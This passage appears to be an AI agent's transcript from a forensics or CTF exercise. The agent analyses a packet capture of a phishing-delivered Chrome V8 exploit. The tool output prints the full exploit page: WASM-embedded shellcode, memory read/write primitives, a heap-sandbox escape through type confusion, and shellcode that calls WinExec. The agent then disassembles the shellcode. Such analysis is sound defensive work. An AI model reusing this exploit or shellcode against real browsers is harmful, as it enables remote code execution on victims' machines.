read1.toString(16))\nvar rectInstance = read(rectAddr + 0x10);\nvar rectType = read(rectAddr + 0x8);\n\nwrite(rectAddr + 0x10, rectType[0], rectType[1]);\n//V8DOMRectReadOnly18wrapper_type_info_E\nvar typeInfo = ftoi32(domRect.width);\n//Confusion between DOMRect and DOMArrayBuffer allows raw_base_addr_ ptr to be overwritten, causing arbitrary rw\nwrite(rectAddr + 0x10, channelInstance[0], channelInstance[1]);\nvar rawBase = ftoi32(domRect.x);\nvar trustedBase = i32tof(typeInfo[0] + trustedOffset, typeInfo[1]); // OK up to here\nvar read3 = addrOf(trustedBase);\n//Set address to read and write\ndomRect.x = trustedBase;\n","stderr":""}Call sandbox_execute
Arguments
{"command": "# Check what happens after the exploit - ICMP traffic\ntshark -r /sandbox/initial_access.pcapng -Y \"icmp\" -T fields -e frame.number -eip.src -eip.dst -e icmp.type -e icmp.code -e data.data 2>/dev/null"}
Tool result
{"exitCode":0,"stdout":"323\t192.168.50.107,192.168.50.105\t192.168.50.105,192.168.50.107\t3\t3\t\n2186\t192.168.50.107,8.8.8.8\t8.8.8.8,192.168.50.107\t3\t3\t\n3814\t192.168.50.107,8.8.8.8\t8.8.8.8,192.168.50.107\t3\t3\t\n7139\t192.168.50.107,192.168.50.105\t192.168.50.105,192.168.50.107\t3\t3\t\n11143\t192.168.50.107,8.8.8.8\t8.8.8.8,192.168.50.107\t3\t3\t\n20931\t192.168.50.107\t192.168.50.109\t8\t0\t6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869\n20932\t192.168.50.109\t192.168.50.107\t0\t0\t6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869\n20935\t192.168.50.107\t192.168.50.109\t8\t0\t6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869\n20936\t192.168.50.109\t192.168.50.107\t0\t0\t6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869\n21030\t192.168.50.107\t192.168.50.109\t8\t0\t6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869\n21031\t192.168.50.109\t192.168.50.107\t0\t0\t6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869\n24391\t192.168.50.107\t192.168.50.109\t8\t0\t6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869\n24392\t192.168.50.109\t192.168.50.107\t0\t0\t6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869\n32896\t192.168.50.107,192.168.50.105\t192.168.50.105,192.168.50.107\t3\t3\t\n","stderr":""}Call sandbox_execute
Arguments
{"command": "#Decode the ICMP payload\necho \"6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869\" | xxd -r -p\necho \"\"\n# Check whenICMP pings start relativeto the HTTP exploit page\n#Frame 20918: GET / to34.250.131.104\n# Frame 20931: ICMP ping to 192.168.50.109\necho \"ICMP pings start at frame 20931, HTTP exploitserved at frame 20924\"\n# Check what Chromeversion is running\ntshark -r /sandbox/initial_access.pcapng -Y \"http\" -T fields -e http.user_agent 2>/dev/null | sort -u"}
Tool result
{"exitCode":0,"stdout":"abcdefghijklmnopqrstuvwabcdefghi\nICMP pings start at frame 20931, HTTP exploit served at frame 20924\n\nMicrosoft BITS/7.8\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36\n","stderr":""}Based on my analysis:
1. Initial Attack Vector & Protocol
- Attack vector: Spear-phishing email with a malicious link, delivering a Chrome V8 browser exploit (JavaScript/WebAssembly-based heap exploit with V8 sandbox escape)
- Protocol: SMTP (email delivered to
enygaard@ngo-hub.comfrom spoofedciso@ngohub.com, retrieved via POP3 from192.168.50.108:110) - The victim clicked
http://34.250.131.104/which served the exploit targeting Chrome 125.0.0.0
2. Protocol Used to Notify Successful Exploitation
ICMP — After the exploit page was loaded (frame 20924), ICMP echo requests began from 192.168.50.107 → 192.168.50.109 (frame 20931+). The WASM shellcode embedded in the exploit contains ping db\x00, confirming the shellcode executed a ping-back as a beacon of successful exploitation.
3. CVE
CVE-2024-5274
- V8 Type Confusion in Chrome ≤ 125.0.6422.112
- The exploit code explicitly targets Chrome 125, uses
DOMRect/DOMArrayBuffertype confusion, V8 heap sandbox escape viaTrustedCage, and the__defineGetter__+ object spread OOB trick — all characteristic of this zero-day
for the question 3 , Some important details are missing from your answer, please review it and give it another shot. Try Harder.
now 4- Which specific assembly instruction helps enable the execution of the final command string? 5-What technique has been used to deliver the final stage of the payload within the exploit? 6-Which custom or native function has been called to execute the final command in the exploit? 7-What is the full command executed at the end of the exploit? 8-What is the value of the offset added to a register in order to retrieve the command string? (in hex) 9-Which structure/location does the exploit search to find the import/dispatch table? 10-Which two V8/DOM object types does the exploit confuse?
Call sandbox_execute
Arguments
{"command": "tshark -r /sandbox/initial_access.pcapng -z \"follow,tcp,ascii,84\" -q 2>/dev/null"}
Tool result
{"exitCode":0,"stdout":"\n===================================================================\nFollow: tcp,ascii\nFilter: tcp.stream eq 84\nNode 0: 192.168.50.107:60264\nNode 1: 34.250.131.104:80\n429\nGET / HTTP/1.1\r\nHost: 34.250.131.104\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\n\r\n\n\t1460\nHTTP/1.1 200 OK\r\nDate: Mon, 27 Oct 2025 09:10:43 GMT\r\nServer: Apache/2.4.65 (Amazon Linux)\r\nLast-Modified: Fri, 24 Oct 2025 11:57:49 GMT\r\nETag: \"184a-641e64236f6d7\"\r\nAccept-Ranges: bytes\r\nContent-Length: 6218\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n<html>\n<body>\n <script>\n\nconst importObject = {\n imports: { imported_func : Math.sin},\n};\n//Shellcode tested on Win11 23H2 10.0.22631.4037\nvar wasmBuffer = new Uint8Array([0,97,115,109,1,0,0,0,1,16,3,80,0,94,124,1,96,1,124,1,124,96,0,1,99,0,2,25,1,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,1,3,3,2,1,2,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,152,2,2,6,0,32,0,16,0,11,142,2,1,1,99,0,65,18,251,7,0,33,0,32,0,65,0,68,144,73,131,196,96,144,235,29,251,14,0,32,0,65,1,68,101,77,139,4,36,144,235,32,251,14,0,32,0,65,2,68,73,139,120,24,144,144,235,32,251,14,0,32,0,65,3,68,72,139,127,48,144,144,235,32,251,14,0,32,0,65,4,68,72,139,63,72,139,63,235,32,251,14,0,32,0,65,5,68,72,139,71,16,144,144,235,32,251,14,0,32,0,65,6,68,72,5,208,7,7,0,235,32,251,14,0,32,0,65,7,68,65,84,144,144,65,84,235,32,251,14,0,32,0,65,8,68,186,82,2,0,0,144,235,32,251,14,0,32,0,65,9,68,72,1,209,144,144,144,235,32,251,14,0,32,0,65,10,68,72,49,210,72,255,194,235,32,251,14,0,32,0,65,11,68,198,65,8,0,144,144,235,32,251,14,0,32,0,65,12,68,72,131,236,40,144,144,235,32,251,14,0,32,0,65,13,68,255,208,144,144,\n\t1460\n144,144,235,32,251,14,0,32,0,65,14,68,255,208,144,144,144,144,235,32,251,14,0,32,0,65,15,68,112,105,110,103,32,100,98,0,251,14,0,32,0,11,0,26,4,110,97,109,101,1,19,2,1,4,109,97,105,110,2,10,109,97,107,101,95,97,114,114,97,121]);\n\nvar module = new WebAssembly.Module(wasmBuffer);\nvar instance = new WebAssembly.Instance(module, importObject);\nvar func = instance.exports.make_array;\nfunc();\n\nvar view = new ArrayBuffer(24);\nvar dblArr = new Float64Array(view);\nvar intView = new Uint32Array(view);\nvar bigIntView = new BigInt64Array(view);\n\nfunction ftoi32(f) {\n dblArr[0] = f;\n return [intView[0], intView[1]];\n}\n\nfunction i32tof(i1, i2) {\n intView[0] = i1;\n intView[1] = i2;\n return dblArr[0];\n}\n\nfunction itof(i) {\n bigIntView = BigInt(i);\n return dblArr[0];\n}\n\nfunction ftoi(f) {\n dblArr[0] = f;\n return bigIntView[0];\n}\n\n\nfunction addrOf(obj) {\n oobObjArr[0] = obj;\n var addrDbl = corrupted_arr[9];\n return ftoi32(addrDbl)[0];\n}\n\nfunction read(addr) {\n var old_value = corrupted_arr[oobOffset];\n corrupted_arr[oobOffset] = i32tof(addr,2);\n var oldAddr = ftoi32(old_value);\n var out = ftoi32(oobDblArr[0]);\n corrupted_arr[oobOffset] = old_value;\n return out;\n}\n\nfunction write(addr, val1, val2) {\n var old_value = corrupted_arr[oobOffset];\n corrupted_arr[oobOffset] = i32tof(addr,2);\n oobDblArr[0] = i32tof(val1, val2);\n corrupted_arr[oobOffset] = old_value;\n return;\n}\n\nvar num = 3;\nvar nameAddr = 0xdc5; // <<<<<<\n\t1460\n<<< check this\nvar dblArrMap = 0x255159;\nvar objArrMap = 0x2551d9; \n\nvar nameAddrF = i32tof(nameAddr, nameAddr);\nvar fakeDblArray = [1.1,2.2];\nvar oobDblArr = [2.2];\nvar oobObjArr = [view];\noobObjArr[0] = 0x4242;\n\nvar fakeDblArrayAddr = 0x4881d \n\nvar fakeDblArrayEle = fakeDblArrayAddr - 0x18;\nfakeDblArray[0] = i32tof(dblArrMap, 0x725);\nfakeDblArray[1] = i32tof(fakeDblArrayEle, 0x100);\n\n\nvar x = {};\nfor (let i = 0; i < num; i++) {\n x['a' + i] = 1;\n}\nvar x1 = {};\nfor (let i = 0; i < num; i++) {\n x1['a' + i] = 1;\n}\nx1.prop = 1;\nx.__defineGetter__(\"prop\", function() {\n let obj = {};\n obj.a0 = 1.5;\n for (let i = 0; i < 1024 + 512; i++) {\n let tmp = {};\n tmp.a0 = 1;\n for (let j = 1; j < num; j++) {\n tmp['a' + j] = 1;\n }\n tmp['p' + i] = 1;\n }\n return 4;\n});\nx.z = 1;\ndelete x.z;\nvar y = {...x};\n\nvar arr = new Array(256);\nfor (let i = 0; i < 7; i++) {\n arr[i] = new Array(256);\n for (let j = 0; j < arr[i].length; j++) {\n arr[i][j] = nameAddrF;\n }\n}\n\nfor (let j = 0; j < 7; j++) {\n let a = arr[j];\n for (let i = 0; i < 256; i++) {\n a[i] = i32tof(nameAddr, fakeDblArrayEle + 0x8);//i32tof(fakeDblArrayEle + 0xc, nameAddr);\n }\n}\n\nvar z = {};\nz.__proto__ = y;\nz.p = 1;\nz.p;\n\nvar oobOffset = 7;\n\n// 0:000> ? chrome!v8::internal::TrustedCage::base_ - chrome!blink::V8DOMRectReadOnly::wrapper_type_info_\n// Evaluate expression: 3265256 = 00000000`0031d2e8\nvar trustedOffset = 0x31d2e8; // OK\n\nvar corrupted_arr = y.name;\n\nf\n\t1460\nunction getInstance(obj) {\n let addr = addrOf(obj);\n return read(addr + 0x10);\n}\n//v8 heap sandbox escape\n//Math.sin();\nvar domRect = new DOMRect(1.1,2.3,3.3,4.4);\nvar node = new AudioBuffer({length: 3000, sampleRate: 30000, numberOfChannels : 2});\nvar channel = node.getChannelData(0);\nvar nodeInstance = getInstance(node);\nvar channelAddr = addrOf(channel);\nvar channelInstance = read(channelAddr + 0x3c);\nvar rectAddr = addrOf(domRect);\nvar read1 = addrOf(fakeDblArray)\n//alert(\"0x\" + read1.toString(16))\nvar rectInstance = read(rectAddr + 0x10);\nvar rectType = read(rectAddr + 0x8);\n\nwrite(rectAddr + 0x10, rectType[0], rectType[1]);\n//V8DOMRectReadOnly18wrapper_type_info_E\nvar typeInfo = ftoi32(domRect.width);\n//Confusion between DOMRect and DOMArrayBuffer allows raw_base_addr_ ptr to be overwritten, causing arbitrary rw\nwrite(rectAddr + 0x10, channelInstance[0], channelInstance[1]);\nvar rawBase = ftoi32(domRect.x);\nvar trustedBase = i32tof(typeInfo[0] + trustedOffset, typeInfo[1]); // OK up to here\nvar read3 = addrOf(trustedBase);\n//Set address to read and write\ndomRect.x = trustedBase;\nvar dst = new Float32Array(view);\n//copyFromChannel and copyToChannel can then be used for arbitrary rw\nnode.copyFromChannel(dst, 0, 0);\n//dispatch_table_from_imports address\nvar trustedCage = intView[1];\n\nfunction findImportTarget(startAddr) {\n var dispatchMap = 0x1f8d;\n var dstBuffer = new ArrayBuffer(0x1000);\n var dstFloat = new Float32Array(dstBuf\n\t686\nfer);\n var dstInt = new Uint32Array(dstBuffer);\n domRect.x = i32tof(startAddr, trustedCage);\n node.copyFromChannel(dstFloat, 0, 0);\n for (let i = 0; i < dstInt.length; i++) {\n if (dstInt[i] === 0x1f8d) { \n return i;\n }\n }\n return -1;\n}\nvar startAddr = 0x40600;\n\nvar codeIdx = findImportTarget(startAddr);\nif (codeIdx != -1) {\n var exported = instance.exports.main;\n var code = i32tof(startAddr + codeIdx * 4 + 0xc, trustedCage);\n domRect.x = code;\n node.copyFromChannel(dst, 0, 0);\n intView[0] = intView[0] + 0xe + 0x100;\n node.copyToChannel(dst, 0, 0);\n intView[0] = 0;\n node.copyFromChannel(dst,0,0);\n exported();\n exported();\n}\n</script>\n</body>\n</html>\n\n\n372\nGET /favicon.ico HTTP/1.1\r\nHost: 34.250.131.104\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36\r\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\r\nReferer: http://34.250.131.104/\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\n\r\n\n\t418\nHTTP/1.1 404 Not Found\r\nDate: Mon, 27 Oct 2025 09:10:43 GMT\r\nServer: Apache/2.4.65 (Amazon Linux)\r\nContent-Length: 196\r\nKeep-Alive: timeout=5, max=99\r\nConnection: Keep-Alive\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\n<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>404 Not Found</title>\n</head><body>\n<h1>Not Found</h1>\n<p>The requested URL was not found on this server.</p>\n</body></html>\n\n===================================================================\n","stderr":""}Call sandbox_execute
Arguments
{"command": "# Decode the WASM shellcodebytes\npython3 << 'EOF'\nwasm_bytes = [0,97,115,109,1,0,0,0,1,16,3,80,0,94,124,1,96,1,124,1,124,96,0,1,99,0,2,25,1,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,1,3,3,2,1,2,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,152,2,2,6,0,32,0,16,0,11,142,2,1,1,99,0,65,18,251,7,0,33,0,32,0,65,0,68,144,73,131,196,96,144,235,29,251,14,0,32,0,65,1,68,101,77,139,4,36,144,235,32,251,14,0,32,0,65,2,68,73,139,120,24,144,144,235,32,251,14,0,32,0,65,3,68,72,139,127,48,144,144,235,32,251,14,0,32,0,65,4,68,72,139,63,72,139,63,235,32,251,14,0,32,0,65,5,68,72,139,71,16,144,144,235,32,251,14,0,32,0,65,6,68,72,5,208,7,7,0,235,32,251,14,0,32,0,65,7,68,65,84,144,144,65,84,235,32,251,14,0,32,0,65,8,68,186,82,2,0,0,144,235,32,251,14,0,32,0,65,9,68,72,1,209,144,144,144,235,32,251,14,0,32,0,65,10,68,72,49,210,72,255,194,235,32,251,14,0,32,0,65,11,68,198,65,8,0,144,144,235,32,251,14,0,32,0,65,12,68,72,131,236,40,144,144,235,32,251,14,0,32,0,65,13,68,255,208,144,144,144,144,235,32,251,14,0,32,0,65,14,68,255,208,144,144,144,144,235,32,251,14,0,32,0,65,15,68,112,105,110,103,32,100,98,0,251,14,0,32,0,11,0,26,4,110,97,109,101,1,19,2,1,4,109,97,105,110,2,10,109,97,107,101,95,97,114,114,97,121]\n\n# Writeto file and disassemble\nwithopen('/sandbox/shellcode.wasm', 'wb') as f:\n f.write(bytes(wasm_bytes))\nprint(f\"WASM file written: {len(wasm_bytes)}bytes\")\n\n# Extract visible strings\nimport re\nraw = bytes(wasm_bytes)\nstrings = re.findall(b'[\\x20-\\x7e]{4,}', raw)\nfor sinstrings:\n print(f\"String: {s}\")\nEOF"}
Tool result
{"exitCode":0,"stdout":"WASM file written: 392 bytes\nString: b'imports'\nString: b'imported_func'\nString: b'main'\nString: b'make_array'\nString: b'Dping db'\nString: b'name'\nString: b'main'\nString: b'make_array'\n","stderr":""}Call sandbox_execute
Arguments
{"command": "# Disassemble theWASM to get native x86-64 shellcode\npython3 <<'EOF'\n# Extract the shellcodeembedded in the WASM f64 constants\n# Each instruction group: 32,0,65,N,68,[8 bytes f64 constant],251,14,0\n# 68 = f64.const, followed by 8 bytes little-endian\n# The actual shellcode is in the f64 constant bytes\n\nwasm_bytes = bytes([0,97,115,109,1,0,0,0,1,16,3,80,0,94,124,1,96,1,124,1,124,96,0,1,99,0,2,25,1,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,1,3,3,2,1,2,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,152,2,2,6,0,32,0,16,0,11,142,2,1,1,99,0,65,18,251,7,0,33,0,32,0,65,0,68,144,73,131,196,96,144,235,29,251,14,0,32,0,65,1,68,101,77,139,4,36,144,235,32,251,14,0,32,0,65,2,68,73,139,120,24,144,144,235,32,251,14,0,32,0,65,3,68,72,139,127,48,144,144,235,32,251,14,0,32,0,65,4,68,72,139,63,72,139,63,235,32,251,14,0,32,0,65,5,68,72,139,71,16,144,144,235,32,251,14,0,32,0,65,6,68,72,5,208,7,7,0,235,32,251,14,0,32,0,65,7,68,65,84,144,144,65,84,235,32,251,14,0,32,0,65,8,68,186,82,2,0,0,144,235,32,251,14,0,32,0,65,9,68,72,1,209,144,144,144,235,32,251,14,0,32,0,65,10,68,72,49,210,72,255,194,235,32,251,14,0,32,0,65,11,68,198,65,8,0,144,144,235,32,251,14,0,32,0,65,12,68,72,131,236,40,144,144,235,32,251,14,0,32,0,65,13,68,255,208,144,144,144,144,235,32,251,14,0,32,0,65,14,68,255,208,144,144,144,144,235,32,251,14,0,32,0,65,15,68,112,105,110,103,32,100,98,0,251,14,0,32,0,11,0,26,4,110,97,109,101,1,19,2,1,4,109,97,105,110,2,10,109,97,107,101,95,97,114,114,97,121])\n\n#Find all f64.const (0x44) opcodes and extract the 8-bytepayloads\n# Pattern: 65,N,68,[8 bytes]\nshellcode_chunks = {}\ni = 0\nwhile i < len(wasm_bytes):\n if wasm_bytes[i]== 0x44:# f64.const\n idx_pos= i - 2 # where i32.const N was\n chunk_idx = wasm_bytes[i-1] if i>= 1 else 0\n chunk = wasm_bytes[i+1:i+9]\nshellcode_chunks[chunk_idx] = chunk\n print(f\" Chunk {chunk_idx}: {' '.join(f'{b:02x}' for b in chunk)}\")\ni += 1\n\n# Assemble in order\nfull_sc = b''\nfor k in sorted(shellcode_chunks.keys()):\nfull_sc += shellcode_chunks[k]\n\nprint(f\"\\nFull shellcode({len(full_sc)} bytes):\")\nprint(' '.join(f'{b:02x}' for b in full_sc))\n\nwith open('/sandbox/shellcode.bin','wb')as f:\n f.write(full_sc)\nEOF"}
Tool result
{"exitCode":0,"stdout":" Chunk 0: 90 49 83 c4 60 90 eb 1d\n Chunk 1: 65 4d 8b 04 24 90 eb 20\n Chunk 2: 49 8b 78 18 90 90 eb 20\n Chunk 3: 48 8b 7f 30 90 90 eb 20\n Chunk 4: 48 8b 3f 48 8b 3f eb 20\n Chunk 5: 48 8b 47 10 90 90 eb 20\n Chunk 6: 48 05 d0 07 07 00 eb 20\n Chunk 7: 41 54 90 90 41 54 eb 20\n Chunk 8: ba 52 02 00 00 90 eb 20\n Chunk 9: 48 01 d1 90 90 90 eb 20\n Chunk 10: 48 31 d2 48 ff c2 eb 20\n Chunk 11: c6 41 08 00 90 90 eb 20\n Chunk 12: 48 83 ec 28 90 90 eb 20\n Chunk 13: ff d0 90 90 90 90 eb 20\n Chunk 14: ff d0 90 90 90 90 eb 20\n Chunk 15: 70 69 6e 67 20 64 62 00\n\nFull shellcode (128 bytes):\n90 49 83 c4 60 90 eb 1d 65 4d 8b 04 24 90 eb 20 49 8b 78 18 90 90 eb 20 48 8b 7f 30 90 90 eb 20 48 8b 3f 48 8b 3f eb 20 48 8b 47 10 90 90 eb 20 48 05 d0 07 07 00 eb 20 41 54 90 90 41 54 eb 20 ba 52 02 00 00 90 eb 20 48 01 d1 90 90 90 eb 20 48 31 d2 48 ff c2 eb 20 c6 41 08 00 90 90 eb 20 48 83 ec 28 90 90 eb 20 ff d0 90 90 90 90 eb 20 ff d0 90 90 90 90 eb 20 70 69 6e 67 20 64 62 00\n","stderr":""}Call sandbox_execute
Arguments
{"command": "#Disassemble the shellcode properly\nndisasm -b64 /sandbox/shellcode.bin2>/dev/null ||\\\npython3 -c\"\nimport subprocess\nresult = subprocess.run(['ndisasm', '-b','64', '/sandbox/shellcode.bin'], capture_output=True, text=True)\nprint(result.stdout)\nprint(result.stderr)\n\""}
Tool result
{"exitCode":0,"stdout":"00000000 90 nop\n00000001 4983C460 add r12,0x60\n00000005 90 nop\n00000006 EB1D jmp 0x25\n00000008 654D8B0424 mov r8,[gs:r12]\n0000000D 90 nop\n0000000E EB20 jmp 0x30\n00000010 498B7818 mov rdi,[r8+0x18]\n00000014 90 nop\n00000015 90 nop\n00000016 EB20 jmp 0x38\n00000018 488B7F30 mov rdi,[rdi+0x30]\n0000001C 90 nop\n0000001D 90 nop\n0000001E EB20 jmp 0x40\n00000020 488B3F mov rdi,[rdi]\n00000023 488B3F mov rdi,[rdi]\n00000026 EB20 jmp 0x48\n00000028 488B4710 mov rax,[rdi+0x10]\n0000002C 90 nop\n0000002D 90 nop\n0000002E EB20 jmp 0x50\n00000030 4805D0070700 add rax,0x707d0\n00000036 EB20 jmp 0x58\n00000038 4154 push r12\n0000003A 90 nop\n0000003B 90 nop\n0000003C 4154 push r12\n0000003E EB20 jmp 0x60\n00000040 BA52020000 mov edx,0x252\n00000045 90 nop\n00000046 EB20 jmp 0x68\n00000048 4801D1 add rcx,rdx\n0000004B 90 nop\n0000004C 90 nop\n0000004D 90 nop\n0000004E EB20 jmp 0x70\n00000050 4831D2 xor rdx,rdx\n00000053 48FFC2 inc rdx\n00000056 EB20 jmp 0x78\n00000058 C6410800 mov byte [rcx+0x8],0x0\n0000005C 90 nop\n0000005D 90 nop\n0000005E EB20 jmp 0x80\n00000060 4883EC28 sub rsp,0x28\n00000064 90 nop\n00000065 90 nop\n00000066 EB20 jmp 0x88\n00000068 FF db 0xff\n00000069 D090909090EB rcl byte [rax-0x146f6f70],0x0\n0000006F 20FF and bh,bh\n00000071 D090909090EB rcl byte [rax-0x146f6f70],0x0\n00000077 207069 and [rax+0x69],dh\n0000007A 6E outsb\n0000007B 6720646200 and [edx+0x0],ah\n","stderr":""}Call sandbox_execute
Arguments
{"command": "# The shellcode uses jmp-over chunks -let's trace the actual execution flow\n# Chunk 0 starts at offset 0, jmp to0x25 (chunk 1at 0x08)\n#Let's reassemble the real execution path by following thejmps\n\npython3 << 'EOF'\n# The shellcode isstructured as chunks connectedby short jumps\n# Each chunk is 8 bytes with a jmp at the end\n# Let's trace the actuallinear execution\n\nchunks = [\n (0x00, bytes([0x90, 0x49, 0x83, 0xc4, 0x60, 0x90, 0xeb, 0x1d])), # nop; add r12,0x60; nop; jmp\n (0x08, bytes([0x65, 0x4d, 0x8b, 0x04, 0x24,0x90, 0xeb, 0x20])), # movr8,[gs:r12]; nop; jmp\n (0x10, bytes([0x49, 0x8b, 0x78, 0x18, 0x90, 0x90, 0xeb, 0x20])), # mov rdi,[r8+0x18]; jmp\n (0x18, bytes([0x48,0x8b, 0x7f, 0x30, 0x90, 0x90, 0xeb,0x20])), # movrdi,[rdi+0x30]; jmp\n (0x20,bytes([0x48, 0x8b, 0x3f, 0x48, 0x8b, 0x3f, 0xeb, 0x20])), # mov rdi,[rdi]; mov rdi,[rdi]; jmp\n (0x28, bytes([0x48, 0x8b, 0x47, 0x10, 0x90,0x90, 0xeb,0x20])), # mov rax,[rdi+0x10];jmp\n (0x30, bytes([0x48,0x05, 0xd0, 0x07, 0x07, 0x00, 0xeb, 0x20])), # add rax,0x707d0; jmp\n (0x38, bytes([0x41, 0x54,0x90, 0x90,0x41, 0x54, 0xeb, 0x20])), # pushr12; nop; push r12; jmp\n (0x40, bytes([0xba, 0x52, 0x02, 0x00, 0x00, 0x90,0xeb, 0x20])), # mov edx,0x252; jmp\n (0x48, bytes([0x48, 0x01, 0xd1, 0x90, 0x90, 0x90, 0xeb, 0x20])), # add rcx,rdx; jmp\n (0x50, bytes([0x48, 0x31, 0xd2, 0x48, 0xff, 0xc2, 0xeb, 0x20])), # xorrdx,rdx; inc rdx; jmp\n (0x58, bytes([0xc6, 0x41,0x08, 0x00, 0x90, 0x90, 0xeb, 0x20])), # mov byte[rcx+8],0;jmp\n (0x60, bytes([0x48, 0x83,0xec, 0x28,0x90, 0x90, 0xeb, 0x20])), # sub rsp,0x28; jmp\n (0x68, bytes([0xff, 0xd0, 0x90,0x90, 0x90, 0x90, 0xeb, 0x20])), # call rax; nop; jmp\n (0x70,bytes([0xff,0xd0, 0x90, 0x90,0x90, 0x90, 0xeb, 0x20])), # call rax; nop; jmp\n(0x78, bytes([0x70, 0x69, 0x6e, 0x67, 0x20, 0x64, 0x62, 0x00])), # \"pingdb\\0\" (data)\n]\n\nprint(\"=== Shellcode execution flow (followingjmps)===\")\nprint()\n\n# Decode each meaningful instruction (removing nops andjmps)\ninstructions = [\n\"nop\",\n\"add r12, 0x60 ; adjustGS-relative offset for PEB\",\n \"mov r8,[gs:r12] ; r8 = TEB->ProcessEnvironmentBlock (PEB) via GSsegment\",\n \"mov rdi, [r8+0x18] ; rdi = PEB->Ldr\",\n \"mov rdi, [rdi+0x30] ; rdi = Ldr->InInitializationOrderModuleList.Flink\",\n \"movrdi, [rdi] ; walk module list\",\n\"mov rdi, [rdi] ;walk module list (secondentry = kernel32 or ntdll)\",\n\"mov rax, [rdi+0x10] ; rax = module baseaddress (DllBase)\",\n \"addrax, 0x707d0 ; rax += 0x707d0 offset -> WinExec orsystem function\",\n \"push r12 ; save r12\",\n \"push r12; align stack /pass arg\",\n \"mov edx, 0x252 ; rdx = 0x252 (arg2for WinExec: SW_SHOW=1? or similar)\",\n\"add rcx,rdx ; rcx = address of command string\",\n \"xorrdx, rdx ; rdx =0\",\n \"inc rdx; rdx =1 (SW_SHOWNORMALfor WinExec)\",\n \"mov byte [rcx+8], 0x0 ; null-terminate command stringin-place\",\n \"sub rsp, 0x28 ; shadow space (Windows x64calling convention)\",\n \"call rax ; call WinExec(rcx='ping db', rdx=1)\",\n \"call rax; secondcall\",\n 'data: \"ping db\\\\0\"; command string',\n]\n\nfor inst in instructions:\n print(f\" {inst}\")\n\nprint()\nprint(f\"Command string at chunk 15 (offset0x78): 'ping db\\\\x00'\")\nprint(f\"Offsetadded to compute command string: 0x252 (added to rcxvia rdx)\")\nprint(f\"Function called: WinExec (at hardcoded offset 0x707d0 from module base)\")\nEOF"}
Tool result
{"exitCode":0,"stdout":"=== Shellcode execution flow (following jmps) ===\n\n nop\n add r12, 0x60 ; adjust GS-relative offset for PEB\n mov r8, [gs:r12] ; r8 = TEB->ProcessEnvironmentBlock (PEB) via GS segment\n mov rdi, [r8+0x18] ; rdi = PEB->Ldr\n mov rdi, [rdi+0x30] ; rdi = Ldr->InInitializationOrderModuleList.Flink\n mov rdi, [rdi] ; walk module list\n mov rdi, [rdi] ; walk module list (second entry = kernel32 or ntdll)\n mov rax, [rdi+0x10] ; rax = module base address (DllBase)\n add rax, 0x707d0 ; rax += 0x707d0 offset -> WinExec or system function\n push r12 ; save r12\n push r12 ; align stack / pass arg\n mov edx, 0x252 ; rdx = 0x252 (arg2 for WinExec: SW_SHOW=1? or similar)\n add rcx, rdx ; rcx = address of command string\n xor rdx, rdx ; rdx = 0\n inc rdx ; rdx = 1 (SW_SHOWNORMAL for WinExec)\n mov byte [rcx+8], 0x0 ; null-terminate command string in-place\n sub rsp, 0x28 ; shadow space (Windows x64 calling convention)\n call rax ; call WinExec(rcx='ping db', rdx=1)\n call rax ; second call\n data: \"ping db\\0\" ; command string\n\nCommand string at chunk 15 (offset 0x78): 'ping db\\x00'\nOffset added to compute command string: 0x252 (added to rcx via rdx)\nFunction called: WinExec (at hardcoded offset 0x707d0 from module base)\n","stderr":""}Call sandbox_execute
Arguments
{"command": "#Verify the CVE - let's look at the exploit technique morecarefully\n# The exploit uses:\n# 1. __defineGetter__ with object spread{...x}causing map deprecation during spread\n# 2. This is theV8 MapDeprecation / propertystore confusion\n# 3.Chrome 125 - let's check the specific CVE\n\n# Check ICMP payload more carefully -\"ping db\" not\"ping 192.168.50.109\"\n# But actualICMP goes to 192.168.50.109\n# The \"db\" mightbe a hostname resolved to 192.168.50.109\n\n# Let's check DNS queries\ntshark -r /sandbox/initial_access.pcapng -Y \"dns\" -T fields -e frame.number -e ip.src -e ip.dst -e dns.qry.name -e dns.a 2>/dev/null | grep -v \"^$\"| head -30"}
Tool result
